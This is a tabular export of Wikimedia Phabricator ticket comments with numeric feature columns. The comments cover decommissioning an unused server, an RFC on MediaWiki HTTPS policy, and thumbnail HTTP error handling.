%%%linked child ticket in pmtpa queue. resolving this.%%%",,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.774193548387097,0.8064516129032258,"%%%host is powered down and removed from repos. next steps are wiping etc in%%%
%%%linked child ticket in pmtpa queue. resolving this.%%%"
378146,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Member ticket #6311 added by dzahn//,,,1384477053,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,//Member ticket #6311 added by dzahn//
378131,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%16:33 < mutante> !log schedule 1yr downtime for unused host 'gurvin' and all%%%
%%%its services (RT #6135) and shutting it down%%%
%%%scheduled downtime for it in Icinga, so no notifications, then powered it%%%
%%%down..and removed from puppet:%%%
%%%https://gerrit.wikimedia.org/r/#/c/94449/%%%
%%%then DNS ,, merged by Chris:%%%
%%%https://gerrit.wikimedia.org/r/#/c/94448/%%%",,,1384476186,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,21.0,2.0,0.0,4.0,7.0,6.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,3.107142857142857,0.5714285714285714,"%%%16:33 < mutante> !log schedule 1yr downtime for unused host 'gurvin' and all%%%
%%%its services (RT #6135) and shutting it down%%%
%%%scheduled downtime for it in Icinga, so no notifications, then powered it%%%
%%%down..and removed from puppet:%%%
%%%URL
%%%then DNS ,, merged by Chris:%%%
%%%URL"
378120,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 01 09:47:06 2013, faidon wrote:%%%
> I think this is some leftover test box that was never given
> back/reclaimed :( Certainly not used anymore, please apply the
> lifecycle decom process.
%%%Chris, can you see if gurvin and yvon have been a couple (installed together)?%%%
%%%I think if gurvin can go yvon can go as well (linked ticket) since per site.pp%%%
%%%they both just had the wmf_ca cert left (besides base,ganglia,ntp)%%%",,,1383959225,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,5.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,4.0,8.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.3544303797468356,0.6329113924050633,"%%%On Fri Nov 01 09:47:06 2013, faidon wrote:%%%
QUOTE
QUOTE
QUOTE
%%%Chris, can you see if gurvin and yvon have been a couple (installed together)?%%%
%%%I think if gurvin can go yvon can go as well (linked ticket) since per site.pp%%%
%%%they both just had the wmf_ca cert left (besides base,ganglia,ntp)%%%"
378107,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6156 added by dzahn,,,1383957052,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #6156 added by dzahn
378097,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%Chris, this one should be ready to go. see Faidon's comment above.%%%
%%%here are the changes after it's down:%%%
%%%https://gerrit.wikimedia.org/r/#/c/94448/1%%%
%%%https://gerrit.wikimedia.org/r/#/c/94449/1%%%",,,1383955825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,22.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.825,0.625,"%%%Chris, this one should be ready to go. see Faidon's comment above.%%%
%%%here are the changes after it's down:%%%
%%%URL
%%%URL"
378086,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Given to cmjohnson by dzahn//,,,1383955246,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,1.0,//Given to cmjohnson by dzahn//
378076,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'new' to 'open' by RT_System//,,,1383299227,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,False,,,-87,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
378065,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%I think this is some leftover test box that was never given back/reclaimed :( Certainly not used anymore, please apply the lifecycle decom process.%%%",,,1383299226,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-87,True,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,"%%%I think this is some leftover test box that was never given back/reclaimed :( Certainly not used anymore, please apply the lifecycle decom process.%%%"
378053,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6099 added by dzahn,,,1383172815,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Reference by ticket #6099 added by dzahn
75953,RFC: MediaWiki HTTPS policy,https://www.mediawiki.org/wiki/Requests_for_comment/MediaWiki_HTTPS_policy,Medium,50.0,1416964345,1536070574.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-gtqkf7mx7vj4gbx75naw,False,PHID-TASK-ytcg5wg272ww25atixn5,task_description,resolved,True,c3,1,True,False,False,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
475863,RFC: MediaWiki HTTPS policy,"This seems to be more about MediaWiki software than Wikimedia ops, but note that since Wikimedia has switched fully to HTTPS, there are no longer Wikimedia concerns about this (including e.g Zero).",,,1434484875,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,19.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,4.486486486486487,0.8648648648648649,"This seems to be more about MediaWiki software than Wikimedia ops, but note that since Wikimedia has switched fully to HTTPS, there are no longer Wikimedia concerns about this (including e.g Zero)."
438348,RFC: MediaWiki HTTPS policy,"> The current RFC states that Wikipedia Zero partners often disallow HTTPS. I'm wondering how we can address that.

It's hard to imagine that this is going to be a sustainable policy for long, if it even is today. Wikipedia's transition only contributes to that, and as major media sites transition over the next year, it's only going to become a more and more difficult posture for any organization to take.",,,1428101321,,PHID-USER-nwkhxdtbsjfqvlzuuu66,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-13,True,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,18.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.0,0.6935483870967742,"QUOTE

It's hard to imagine that this is going to be a sustainable policy for long, if it even is today. Wikipedia's transition only contributes to that, and as major media sites transition over the next year, it's only going to become a more and more difficult posture for any organization to take."
430459,RFC: MediaWiki HTTPS policy,"Ignore it. Wikimedia can put a fork in production if they feel it necessary.

But from the Wikimedia side, a good start would be to stop agreeing to allow HTTPS blocking.",,,1426977626,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,14.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,8.0,14.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.9166666666666665,0.8333333333333334,"Ignore it. Wikimedia can put a fork in production if they feel it necessary.

But from the Wikimedia side, a good start would be to stop agreeing to allow HTTPS blocking."
430454,RFC: MediaWiki HTTPS policy,The current RFC states that Wikipedia Zero partners often disallow HTTPS. I'm wondering how we can address that.,,,1426977069,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.523809523809524,0.9047619047619048,The current RFC states that Wikipedia Zero partners often disallow HTTPS. I'm wondering how we can address that.
421006,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
- @csteipp , can you update the RFC (see  [[  https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | the 2014-11-26 RfC meetbot discussion ]])",,,1425501690,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.096774193548387,0.8387096774193549,"ArchiCom meeting:
-SCREEN_NAME , can you update the RFC (see  [[  URL | the 2014-11-26 RfC meetbot discussion ]])"
421005,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
- @csteipp , can you update the RFC (see  [[  https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | the 2014-11-26 RfC meetbot discussion ]]",,,1425501675,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,0.0,3.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.1666666666666665,0.8333333333333334,"ArchiCom meeting:
-SCREEN_NAME , can you update the RFC (see  [[  URL | the 2014-11-26 RfC meetbot discussion ]]"
421004,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
- @csteipp , can you update the RFC
- @hashar what are the status of your action items from the [[  https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | the 2014-11-26 RfC discussion was meetbot discussion ]]",,,1425501623,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8048780487804876,0.7804878048780488,"ArchiCom meeting:
-SCREEN_NAME , can you update the RFC
-SCREEN_NAME what are the status of your action items from the [[  URL | the 2014-11-26 RfC discussion was meetbot discussion ]]"
421003,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
- @csteipp , can you update the RFC
- @hashar status of your action items in the [[  The 2014-11-26 RfC discussion was https://tools.wmflabs.org/meetbot/wikimedia-office/2014/wikimedia-office.2014-11-26-21.01.html | meetbot discussion ]]",,,1425501573,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,5.0,5.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.789473684210526,0.8157894736842105,"ArchiCom meeting:
-SCREEN_NAME , can you update the RFC
-SCREEN_NAME status of your action items in the [[  The 2014-11-26 RfC discussion was URL | meetbot discussion ]]"
421001,RFC: MediaWiki HTTPS policy,"ArchiCom meeting:
- @csteipp , can you update the RFC
- @hashar status of your action items in the meetbot discussion",,,1425501534,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,9.0,23.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,0.8636363636363636,"ArchiCom meeting:
-SCREEN_NAME , can you update the RFC
-SCREEN_NAME status of your action items in the meetbot discussion"
421002,RFC: MediaWiki HTTPS policy,,,,1425501548,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
420995,RFC: MediaWiki HTTPS policy,,,,1425501272,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
333524,RFC: MediaWiki HTTPS policy,This RfC is being discussed today. Details: https://lists.wikimedia.org/pipermail/wikitech-l/2014-November/079629.html,,,1417016375,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ytcg5wg272ww25atixn5,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This RfC is being discussed today. Details: URL
75935,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"The current MediaWiki behavior, when requesting a thumbnail directly (i.e. by constructing a thumbnail URL, not via the API) is as follows:
* if the size is smaller than the original image size, the thumbnail is served (assuming the wiki is configured to resize images of that type at all)
* if the size is larger than the original, a HTTP 500 is returned (except for vector images, where ""original size"" is a pretty vague concept)
* if the size equals the original, and the thumbnail would be significantly different from the original (more specifically, when mustRender() returns true for that file - e.g. files with EXIF rotations, or files which need to be converted to a different format for browser compatibility), the thumbnail is served
* if the size equals the original, and the thumbnail would be essentially the same as the original, a HTTP 500 is returned.

The last step is presumably done to avoid wasting storage space on thumbnails when the original file would be just as good (which might or might not be a good idea, see T67383), but it is very confusing from a client point of view and makes it hard to construct a reliable thumbnail URL without having very detailed knowledge of the file. (The API can always be used to retrieve the correct URL, but that has a nontrivial time overhead.) See T70320 for an example of problems caused by this.

